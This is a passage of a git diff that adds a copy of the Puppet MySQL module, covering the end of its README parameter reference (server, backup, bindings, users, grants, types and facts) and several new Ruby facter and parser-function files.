+Password changes are supported; however, the old password must be set in `/root/.my.cnf`. Effectively, Puppet uses the old password, configured in `/root/my.cnf`, to set the new password in MySQL, and then updates `/root/.my.cnf` with the new password.
+
+##### `old_root_password`
+
+This parameter no longer does anything. It exists only for backwards compatibility. See the `root_password` parameter above for details on changing the root password.
+
+##### `override_options`
+
+Specifies override options to pass into MySQL. Structured like a hash in the my.cnf file:
+
+```puppet
+$override_options = {
+ 'section' => {
+ 'item' => 'thing',
+ }
+}
+```
+
+See [**Customize Server Options**](#customize-server-options) above for usage details.
+
+##### `config_file`
+
+The location, as a path, of the MySQL configuration file.
+
+##### `manage_config_file`
+
+Whether the MySQL configuration file should be managed.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+##### `includedir`
+
+The location, as a path, of !includedir for custom configuration overrides.
+
+##### `install_options`
+
+Passes [install_options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options) array to managed package resources. You must pass the appropriate options for the specified package manager.
+
+##### `purge_conf_dir`
+
+Whether the `includedir` directory should be purged.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `restart`
+
+Whether the service should be restarted when things change.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `root_group`
+
+The name of the group used for root. Can be a group name or a group ID. See more about the [`group` file attribute](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group).
+
+##### `mysql_group`
+
+The name of the group of the MySQL daemon user. Can be a group name or a group ID. See more about the [`group` file attribute](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group).
+
+##### `package_ensure`
+
+Whether the package exists or should be a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Defaults to 'present'.
+
+##### `package_manage`
+
+Whether to manage the MySQL server package.
+
+Defaults to `true`.
+
+##### `package_name`
+
+The name of the MySQL server package to install.
+
+##### `remove_default_accounts`
+
+Specifies whether to automatically include `mysql::server::account_security`.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `service_enabled`
+
+Specifies whether the service should be enabled.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+##### `service_manage`
+
+Specifies whether the service should be managed.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+##### `service_name`
+
+The name of the MySQL server service.
+
+Defaults are OS dependent, defined in 'params.pp'.
+
+##### `service_provider`
+
+The provider to use to manage the service.
+
+For Ubuntu, defaults to 'upstart'; otherwise, default is undefined.
+
+##### `users`
+
+Optional hash of users to create, which are passed to [mysql_user](#mysql_user).
+
+```puppet
+users => {
+ 'someuser@localhost' => {
+ ensure => 'present',
+ max_connections_per_hour => '0',
+ max_queries_per_hour => '0',
+ max_updates_per_hour => '0',
+ max_user_connections => '0',
+ password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF',
+ tls_options => ['NONE'],
+ },
+}
+```
+
+##### `grants`
+
+Optional hash of grants, which are passed to [mysql_grant](#mysql_grant).
+
+```puppet
+grants => {
+ 'someuser@localhost/somedb.*' => {
+ ensure => 'present',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'],
+ table => 'somedb.*',
+ user => 'someuser@localhost',
+ },
+}
+```
+
+##### `databases`
+
+Optional hash of databases to create, which are passed to [mysql_database](#mysql_database).
+
+```puppet
+databases => {
+ 'somedb' => {
+ ensure => 'present',
+ charset => 'utf8',
+ },
+}
+```
+
+#### mysql::server::backup
+
+##### `backupuser`
+
+MySQL user to create for backups.
+
+##### `backuppassword`
+
+MySQL user password for backups.
+
+##### `backupdir`
+
+Directory in which to store backups.
+
+##### `backupdirmode`
+
+Permissions applied to the backup directory. This parameter is passed directly to the `file` resource.
+
+##### `backupdirowner`
+
+Owner for the backup directory. This parameter is passed directly to the `file` resource.
+
+##### `backupdirgroup`
+
+Group owner for the backup directory. This parameter is passed directly to the `file` resource.
+
+##### `backupcompress`
+
+Whether backups should be compressed.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+##### `backuprotate`
+
+How many days to keep backups.
+
+Valid value is an integer.
+
+Defaults to 30.
+
+##### `delete_before_dump`
+
+Whether to delete old .sql files before backing up. Setting to true deletes old files before backing up, while setting to false deletes them after backup.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `backupdatabases`
+
+Specifies an array of databases to back up.
+
+##### `file_per_database`
+
+Whether a separate file be used per database.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `include_routines`
+
+Whether or not to include routines for each database when doing a `file_per_database` backup.
+
+Defaults to `false`.
+
+##### `include_triggers`
+
+Whether or not to include triggers for each database when doing a `file_per_database` backup.
+
+Defaults to `false`.
+
+##### `ensure`
+
+Allows you to remove the backup scripts.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `execpath`
+
+Allows you to set a custom PATH should your MySQL installation be non-standard places. Defaults to `/usr/bin:/usr/sbin:/bin:/sbin`.
+
+##### `time`
+
+An array of two elements to set the backup time. Allows ['23', '5'] (i.e., 23:05) or ['3', '45'] (i.e., 03:45) for HH:MM times.
+
+#### mysql::server::backup
+
+##### `postscript`
+
+A script that is executed when the backup is finished. This could be used to sync the backup to a central store. This script can be either a single line that is directly executed or a number of lines supplied as an array. It could also be one or more externally managed (executable) files.
+
+##### `prescript`
+
+A script that is executed before the backup begins.
+
+##### `provider`
+
+Sets the server backup implementation. Valid values are:
+
+* `mysqldump`: Implements backups with mysqldump. Backup type: Logical. This is the default value.
+* `mysqlbackup`: Implements backups with MySQL Enterprise Backup from Oracle. Backup type: Physical. To use this type of backup, you'll need the `meb` package, which is available in RPM and TAR formats from Oracle. For Ubuntu, you can use [meb-deb](https://github.com/dveeden/meb-deb) to create a package from an official tarball.
+* `xtrabackup`: Implements backups with XtraBackup from Percona. Backup type: Physical.
+
+##### `maxallowedpacket`
+
+Defines the maximum SQL statement size for the backup dump script. The default value is 1MB, as this is the default MySQL Server value.
+
+##### `optional_args`
+
+Specifies an array of optional arguments which should be passed through to the backup tool. (Currently only supported by the xtrabackup provider.)
+
+#### mysql::server::monitor
+
+##### `mysql_monitor_username`
+
+The username to create for MySQL monitoring.
+
+##### `mysql_monitor_password`
+
+The password to create for MySQL monitoring.
+
+##### `mysql_monitor_hostname`
+
+The hostname from which the monitoring user requests are allowed access.
+
+#### mysql::server::mysqltuner
+
+**Note**: If you're using this class on a non-network-connected system, you must download the mysqltuner.pl script and have it hosted somewhere accessible via `http(s)://`, `puppet://`, `ftp://`, or a fully qualified file path.
+
+##### `ensure`
+
+Ensures that the resource exists.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `version`
+
+The version to install from the major/MySQLTuner-perl github repository. Must be a valid tag.
+
+Defaults to 'v1.3.0'.
+
+##### `environment`
+
+Environment variables active during download, e.g. to download via proxies: environment => 'https_proxy=http://proxy.example.com:80'
+
+#### mysql::bindings
+
+##### `client_dev`
+
+Specifies whether `::mysql::bindings::client_dev` should be included.
+
+Valid values are `true`', `false`.
+
+Defaults to `false`.
+
+##### `daemon_dev`
+
+Specifies whether `::mysql::bindings::daemon_dev` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `java_enable`
+
+Specifies whether `::mysql::bindings::java` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `perl_enable`
+
+Specifies whether `mysql::bindings::perl` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `php_enable`
+
+Specifies whether `mysql::bindings::php` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `python_enable`
+
+Specifies whether `mysql::bindings::python` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `ruby_enable`
+
+Specifies whether `mysql::bindings::ruby` should be included.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `install_options`
+
+Passes `install_options` array to managed package resources. You must pass the [appropriate options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options) for the package manager(s).
+
+##### `client_dev_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `client_dev => true`.
+
+##### `client_dev_package_name`
+
+The name of the client_dev package to install.
+
+Only applies if `client_dev => true`.
+
+##### `client_dev_package_provider`
+
+The provider to use to install the client_dev package.
+
+Only applies if `client_dev => true`.
+
+##### `daemon_dev_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `daemon_dev => true`.
+
+##### `daemon_dev_package_name`
+
+The name of the daemon_dev package to install.
+
+Only applies if `daemon_dev => true`.
+
+##### `daemon_dev_package_provider`
+
+The provider to use to install the daemon_dev package.
+
+Only applies if `daemon_dev => true`.
+
+##### `java_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `java_enable => true`.
+
+##### `java_package_name`
+
+The name of the Java package to install.
+
+Only applies if `java_enable => true`.
+
+##### `java_package_provider`
+
+The provider to use to install the Java package.
+
+Only applies if `java_enable => true`.
+
+##### `perl_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `perl_enable => true`.
+
+##### `perl_package_name`
+
+The name of the Perl package to install.
+
+Only applies if `perl_enable => true`.
+
+##### `perl_package_provider`
+
+The provider to use to install the Perl package.
+
+Only applies if `perl_enable => true`.
+
+##### `php_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `php_enable => true`.
+
+##### `php_package_name`
+
+The name of the PHP package to install.
+
+Only applies if `php_enable => true`.
+
+##### `python_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `python_enable => true`.
+
+##### `python_package_name`
+
+The name of the Python package to install.
+
+Only applies if `python_enable => true`.
+
+##### `python_package_provider`
+
+The provider to use to install the Python package.
+
+Only applies if `python_enable => true`.
+
+##### `ruby_package_ensure`
+
+Whether the package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+Only applies if `ruby_enable => true`.
+
+##### `ruby_package_name`
+
+The name of the Ruby package to install.
+
+Only applies if `ruby_enable => true`.
+
+##### `ruby_package_provider`
+
+What provider should be used to install the package.
+
+#### mysql::client
+
+##### `bindings_enable`
+
+Whether to automatically install all bindings.
+
+Valid values are `true`, `false`.
+
+Default to `false`.
+
+##### `install_options`
+
+Array of install options for managed package resources. You must pass the appropriate options for the package manager.
+
+##### `package_ensure`
+
+Whether the MySQL package should be present, absent, or a specific version.
+
+Valid values are 'present', 'absent', or 'x.y.z'.
+
+##### `package_manage`
+
+Whether to manage the MySQL client package.
+
+Defaults to `true`.
+
+##### `package_name`
+
+The name of the MySQL client package to install.
+
+### Defines
+
+#### mysql::db
+
+```puppet
+mysql_database { 'information_schema':
+ ensure => 'present',
+ charset => 'utf8',
+ collate => 'utf8_swedish_ci',
+}
+mysql_database { 'mysql':
+ ensure => 'present',
+ charset => 'latin1',
+ collate => 'latin1_swedish_ci',
+}
+```
+
+##### `user`
+
+The user for the database you're creating.
+
+##### `password`
+
+The password for $user for the database you're creating.
+
+##### `dbname`
+
+The name of the database to create.
+
+Defaults to "$name".
+
+##### `charset`
+
+The character set for the database.
+
+Defaults to 'utf8'.
+
+##### `collate`
+
+The collation for the database.
+
+Defaults to 'utf8_general_ci'.
+
+##### `host`
+
+The host to use as part of user@host for grants.
+
+Defaults to 'localhost'.
+
+##### `grant`
+
+The privileges to be granted for user@host on the database.
+
+Defaults to 'ALL'.
+
+##### `sql`
+
+The path to the sqlfile you want to execute. This can be single file specified as string, or it can be an array of strings.
+
+Defaults to `undef`.
+
+##### `enforce_sql`
+
+Specifies whether executing the sqlfiles should happen on every run. If set to false, sqlfiles only run once.
+
+Valid values are `true`, `false`.
+
+Defaults to `false`.
+
+##### `ensure`
+
+Specifies whether to create the database.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `import_timeout`
+
+Timeout, in seconds, for loading the sqlfiles.
+
+Defaults to 300.
+
+##### `import_cat_cmd`
+
+Command to read the sqlfile for importing the database. Useful for compressed sqlfiles. For example, you can use 'zcat' for .gz files.
+
+Defaults to 'cat'.
+
+### Types
+
+#### mysql_database
+
+`mysql_database` creates and manages databases within MySQL.
+
+##### `ensure`
+
+Whether the resource is present.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `name`
+
+The name of the MySQL database to manage.
+
+##### `charset`
+
+The CHARACTER SET setting for the database.
+
+Defaults to ':utf8'.
+
+##### `collate`
+
+The COLLATE setting for the database.
+
+Defaults to ':utf8_general_ci'.
+
+#### mysql_user
+
+Creates and manages user grants within MySQL.
+
+```puppet
+mysql_user { 'root@127.0.0.1':
+ ensure => 'present',
+ max_connections_per_hour => '0',
+ max_queries_per_hour => '0',
+ max_updates_per_hour => '0',
+ max_user_connections => '0',
+}
+```
+
+You can also specify an authentication plugin.
+
+```puppet
+mysql_user{ 'myuser'@'localhost':
+ ensure => 'present',
+ plugin => 'unix_socket',
+}
+```
+
+TLS options can be specified for a user.
+
+```puppet
+mysql_user{ 'myuser'@'localhost':
+ ensure => 'present',
+ tls_options => ['SSL'],
+}
+```
+
+##### `name`
+
+The name of the user, as 'username@hostname' or username@hostname.
+
+##### `password_hash`
+
+The user's password hash of the user. Use mysql_password() for creating such a hash.
+
+##### `max_user_connections`
+
+Maximum concurrent connections for the user.
+
+Must be an integer value.
+
+A value of '0' specifies no (or global) limit.
+
+##### `max_connections_per_hour`
+
+Maximum connections per hour for the user.
+
+Must be an integer value.
+
+A value of '0' specifies no (or global) limit.
+
+##### `max_queries_per_hour`
+
+Maximum queries per hour for the user.
+
+Must be an integer value.
+
+A value of '0' specifies no (or global) limit.
+
+##### `max_updates_per_hour`
+
+Maximum updates per hour for the user.
+
+Must be an integer value.
+
+A value of '0' specifies no (or global) limit.
+
+##### `tls_options`
+
+SSL-related options for a MySQL account, using one or more tls_option values. 'NONE' specifies that the account has no TLS options enforced, and the available options are 'SSL', 'X509', 'CIPHER *cipher*', 'ISSUER *issuer*', 'SUBJECT *subject*'; as stated in the MySQL documentation.
+
+
+#### mysql_grant
+
+`mysql_grant` creates grant permissions to access databases within MySQL. To create grant permissions to access databases with MySQL, use it you must create the title of the resource as shown below, following the pattern of `username@hostname/database.table`:
+
+```puppet
+mysql_grant { 'root@localhost/*.*':
+ ensure => 'present',
+ options => ['GRANT'],
+ privileges => ['ALL'],
+ table => '*.*',
+ user => 'root@localhost',
+}
+```
+
+It is possible to specify privileges down to the column level:
+
+```puppet
+mysql_grant { 'root@localhost/mysql.user':
+ ensure => 'present',
+ privileges => ['SELECT (Host, User)'],
+ table => 'mysql.user',
+ user => 'root@localhost',
+}
+```
+
+To revoke GRANT privilege specify ['NONE'].
+
+##### `ensure`
+
+Whether the resource is present.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `name`
+
+Name to describe the grant. Must in a 'user/table' format.
+
+##### `privileges`
+
+Privileges to grant the user.
+
+##### `table`
+
+The table to which privileges are applied.
+
+##### `user`
+
+User to whom privileges are granted.
+
+##### `options`
+
+MySQL options to grant. Optional.
+
+#### mysql_plugin
+
+`mysql_plugin` can be used to load plugins into the MySQL Server.
+
+```puppet
+mysql_plugin { 'auth_socket':
+ ensure => 'present',
+ soname => 'auth_socket.so',
+}
+```
+
+##### `ensure`
+
+Whether the resource is present.
+
+Valid values are 'present', 'absent'.
+
+Defaults to 'present'.
+
+##### `name`
+
+The name of the MySQL plugin to manage.
+
+##### `soname`
+
+The library file name.
+
+#### `mysql_datadir`
+
+Initializes the MySQL data directory with version specific code. Pre MySQL 5.7.6 it uses mysql_install_db. After MySQL 5.7.6 it uses mysqld --initialize-insecure.
+
+Insecure initialization is needed, as mysqld version 5.7 introduced 'secure by default' mode. This means MySQL generates a random password and writes it to STDOUT. This means puppet can never access the database server afterwards, as no credentials are available.
+
+This type is an internal type and should not be called directly.
+
+### Facts
+
+#### `mysql_version`
+
+Determines the MySQL version by parsing the output from `mysql --version`
+
+#### `mysql_server_id`
+
+Generates a unique id, based on the node's MAC address, which can be used as `server_id`. This fact will *always* return `0` on nodes that have only loopback interfaces. Because those nodes aren't connected to the outside world, this shouldn't cause any conflicts.
+
+### Tasks
+
+The MySQL module has an example task that allows a user to execute arbitary SQL against a database. Please refer to to the [PE documentation](https://puppet.com/docs/pe/2017.3/orchestrator/running_tasks.html) or [Bolt documentation](https://puppet.com/docs/bolt/latest/bolt.html) on how to execute a task.
+
+## Limitations
+
+This module has been tested on:
+
+* RedHat Enterprise Linux 5, 6, 7
+* Debian 6, 7, 8
+* CentOS 5, 6, 7
+* Ubuntu 10.04, 12.04, 14.04, 16.04
+* Scientific Linux 5, 6
+* SLES 11
+
+Testing on other platforms has been minimal and cannot be guaranteed.
+
+**Note:** The mysqlbackup.sh does not work and is not supported on MySQL 5.7 and greater.
+
+Debian 9 compatibility has not been fully verified.
+
+## Development
+
+Puppet modules on the Puppet Forge are open projects, and community contributions are essential for keeping them great. We can't access the huge number of platforms and myriad of hardware, software, and deployment configurations that Puppet is intended to serve.
+
+We want to keep it as easy as possible to contribute changes so that our modules work in your environment. There are a few guidelines that we need contributors to follow so that we can have a chance of keeping on top of things.
+
+Check out our the complete [module contribution guide](https://docs.puppetlabs.com/forge/contributing.html).
+
+### Authors
+
+This module is based on work by David Schmitt. The following contributors have contributed to this module (beyond Puppet Labs):
+
+* Larry Ludwig
+* Christian G. Warden
+* Daniel Black
+* Justin Ellison
+* Lowe Schmidt
+* Matthias Pigulla
+* William Van Hevelingen
+* Michael Arnold
+* Chris Weyl
+* Daniël van Eeden
+* Jan-Otto Kröpke
+* Timothy Sven Nelson
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile b/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile
new file mode 100644
index 000000000..f39d8351c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/Rakefile
@@ -0,0 +1,4 @@
+require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-syntax/tasks/puppet-syntax'
+require 'puppet_blacksmith/rake_tasks'
+require 'puppet_pot_generator/rake_tasks'
diff --git a/modules/services/unix/database/mysql/TODO b/modules/services/unix/database/mysql_stretch_compatible/mysql/TODO
similarity index 100%
rename from modules/services/unix/database/mysql/TODO
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/TODO
diff --git a/modules/services/unix/database/mysql/examples/backup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/backup.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/backup.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/backup.pp
diff --git a/modules/services/unix/database/mysql/examples/bindings.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/bindings.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/bindings.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/bindings.pp
diff --git a/modules/services/unix/database/mysql/examples/java.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/java.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/java.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/java.pp
diff --git a/modules/services/unix/database/mysql/examples/mysql_database.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_database.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/mysql_database.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_database.pp
diff --git a/modules/services/unix/database/mysql/examples/mysql_db.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_db.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/mysql_db.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_db.pp
diff --git a/modules/services/unix/database/mysql/examples/mysql_grant.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_grant.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/mysql_grant.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_grant.pp
diff --git a/modules/services/unix/database/mysql/examples/mysql_plugin.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_plugin.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/mysql_plugin.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_plugin.pp
diff --git a/modules/services/unix/database/mysql/examples/mysql_user.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_user.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/mysql_user.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/mysql_user.pp
diff --git a/modules/services/unix/database/mysql/examples/perl.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/perl.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/perl.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/perl.pp
diff --git a/modules/services/unix/database/mysql/examples/python.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/python.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/python.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/python.pp
diff --git a/modules/services/unix/database/mysql/examples/ruby.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/ruby.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/ruby.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/ruby.pp
diff --git a/modules/services/unix/database/mysql/examples/server.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/server.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server.pp
diff --git a/modules/services/unix/database/mysql/examples/server/account_security.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/account_security.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/server/account_security.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/account_security.pp
diff --git a/modules/services/unix/database/mysql/examples/server/config.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/config.pp
similarity index 100%
rename from modules/services/unix/database/mysql/examples/server/config.pp
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/examples/server/config.pp
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb
new file mode 100644
index 000000000..b658dca23
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_server_id.rb
@@ -0,0 +1,13 @@
+def mysql_id_get
+ Facter.value(:macaddress).split(':')[2..-1].reduce(0) { |total, value| (total << 6) + value.hex }
+end
+
+Facter.add('mysql_server_id') do
+ setcode do
+ begin
+ mysql_id_get
+ rescue
+ nil
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb
new file mode 100644
index 000000000..1046f4588
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysql_version.rb
@@ -0,0 +1,6 @@
+Facter.add('mysql_version') do
+ setcode do
+ mysql_ver = Facter::Util::Resolution.exec('mysql --version')
+ mysql_ver.match(%r{\d+\.\d+\.\d+})[0] if mysql_ver
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb
new file mode 100644
index 000000000..61e2acf9a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/facter/mysqld_version.rb
@@ -0,0 +1,5 @@
+Facter.add('mysqld_version') do
+ setcode do
+ Facter::Util::Resolution.exec('mysqld -V 2>/dev/null')
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb
new file mode 100644
index 000000000..97d10229b
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb
@@ -0,0 +1,59 @@
+# Recursively merges two or more hashes together and returns the resulting hash.
+module Puppet::Parser::Functions
+ newfunction(:mysql_deepmerge, type: :rvalue, doc: <<-'ENDHEREDOC') do |args|
+ Recursively merges two or more hashes together and returns the resulting hash.
+
+ For example:
+
+ $hash1 = {'one' => 1, 'two' => 2, 'three' => { 'four' => 4 } }
+ $hash2 = {'two' => 'dos', 'three' => { 'five' => 5 } }
+ $merged_hash = mysql_deepmerge($hash1, $hash2)
+ # The resulting hash is equivalent to:
+ # $merged_hash = { 'one' => 1, 'two' => 'dos', 'three' => { 'four' => 4, 'five' => 5 } }
+
+ When there is a duplicate key that is a hash, they are recursively merged.
+ When there is a duplicate key that is not a hash, the key in the rightmost hash will "win."
+ When there are conficting uses of dashes and underscores in two keys (which mysql would otherwise equate),
+ the rightmost style will win.
+
+ ENDHEREDOC
+
+ if args.length < 2
+ raise Puppet::ParseError, _('mysql_deepmerge(): wrong number of arguments (%{args_length}; must be at least 2)') % { args_length: args.length }
+ end
+
+ result = {}
+ args.each do |arg|
+ next if arg.is_a?(String) && arg.empty? # empty string is synonym for puppet's undef
+ # If the argument was not a hash, skip it.
+ unless arg.is_a?(Hash)
+ raise Puppet::ParseError, _('mysql_deepmerge: unexpected argument type %{arg_class}, only expects hash arguments.') % { args_class: args.class }
+ end
+
+ # Now we have to traverse our hash assigning our non-hash values
+ # to the matching keys in our result while following our hash values
+ # and repeating the process.
+ overlay(result, arg)
+ end
+ return(result)
+ end
+end
+
+def normalized?(hash, key)
+ return true if hash.key?(key)
+ return false unless key =~ %r{-|_}
+ other_key = key.include?('-') ? key.tr('-', '_') : key.tr('_', '-')
+ return false unless hash.key?(other_key)
+ hash[key] = hash.delete(other_key)
+ true
+end
+
+def overlay(hash1, hash2)
+ hash2.each do |key, value|
+ if normalized?(hash1, key) && value.is_a?(Hash) && hash1[key].is_a?(Hash)
+ overlay(hash1[key], value)
+ else
+ hash1[key] = value
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb
new file mode 100644
index 000000000..e1a21202d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb
@@ -0,0 +1,15 @@
+# Returns the dirname of a path.
+module Puppet::Parser::Functions
+ newfunction(:mysql_dirname, type: :rvalue, doc: <<-EOS
+ Returns the dirname of a path.
+ EOS
+ ) do |arguments|
+
+ if arguments.empty?
+ raise Puppet::ParseError, _('mysql_dirname(): Wrong number of arguments given (%{args_length} for 1)') % { args_length: args.length }
+ end
+
+ path = arguments[0]
+ return File.dirname(path)
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb
new file mode 100644
index 000000000..4169bf433
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb
@@ -0,0 +1,18 @@
+require 'digest/sha1'
+# Returns the mysql password hash from the clear text password.
+# Hash a string as mysql's "PASSWORD()" function would do it
+module Puppet::Parser::Functions
+ newfunction(:mysql_password, type: :rvalue, doc: <<-EOS
+ Returns the mysql password hash from the clear text password.
+ EOS
+ ) do |args|
+
+ if args.size != 1
+ raise Puppet::ParseError, _('mysql_password(): Wrong number of arguments given (%{args_length} for 1)') % { args_length: args.length }
+ end
+
+ return '' if args[0].empty?
+ return args[0] if args[0] =~ %r{\*[A-F0-9]{40}$}
+ '*' + Digest::SHA1.hexdigest(Digest::SHA1.digest(args[0])).upcase
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb
new file mode 100644
index 000000000..327f9fd5d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb
@@ -0,0 +1,19 @@
+# When given a hash this function strips out all blank entries.
+module Puppet::Parser::Functions
+ newfunction(:mysql_strip_hash, type: :rvalue, arity: 1, doc: <<-EOS
+ TEMPORARY FUNCTION: EXPIRES 2014-03-10
+ When given a hash this function strips out all blank entries.
+EOS
+ ) do |args|
+
+ hash = args[0]
+ unless hash.is_a?(Hash)
+ raise(Puppet::ParseError, _('mysql_strip_hash(): Requires a hash to work.'))
+ end
+
+ # Filter out all the top level blanks.
+ hash.reject { |_k, v| v == '' }.each do |_k, v|
+ v.reject! { |_ki, vi| vi == '' } if v.is_a?(Hash)
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb
